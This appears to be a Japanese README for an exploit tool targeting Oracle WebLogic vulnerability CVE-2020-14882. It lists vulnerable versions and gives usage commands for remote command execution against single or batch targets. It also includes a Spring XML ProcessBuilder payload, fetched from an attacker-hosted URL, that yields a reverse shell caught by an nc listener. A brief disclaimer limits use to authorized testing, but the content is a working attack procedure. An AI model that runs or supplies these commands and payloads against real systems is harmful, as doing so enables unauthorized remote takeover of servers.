CVE-2020-14882_ALL

CVE-2020-14882_ALL 総合利用ツール。コマンド出力の確認、一括コマンド出力、外部XMLを使用した出力なしコマンド実行などの機能をサポートします。

必要なモジュール：requests、http.client

（本ツールは許可されたセキュリティテストにのみ使用し、不正使用は行わないでください。違反行為は作者とは無関係です。）

コマンド出力モジュールの既知の成功バージョン：12.2.1.3.0、12.2.1.4.0、14.1.1.0.0

オプション

機能1：コマンド出力

python3 CVE-2020-14882_ALL.py -u http://1.1.1.1:7001 -c "net user"

python3 CVE-2020-14882_ALL.py -u http://1.1.1.1:7001 -c "whoami"

機能2：一括コマンド出力

python3 CVE-2020-14882_ALL.py -f target.txt -c "whoami"

target.txt の形式：http://x.x.x.x:xx、1行に1つ。

機能3：外部XMLファイルを使用した出力なしコマンド実行

1、Linux リバースシェルを例に、poc.xml ファイルを編集し、Python リスナーを起動します。

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
	<value>cmd</value>
      </list>
    </constructor-arg>
  </bean>
</beans>

Python リスナーを起動します。

nc リスナーを起動します。

2、-x オプションで XML ファイルのパスを指定し、ペイロードを送信します。

python3 CVE-2020-14882_ALL.py -u http://xxxx:7001 -x http://xxx:8000/poc.xml

3、シェルを正常に受信します。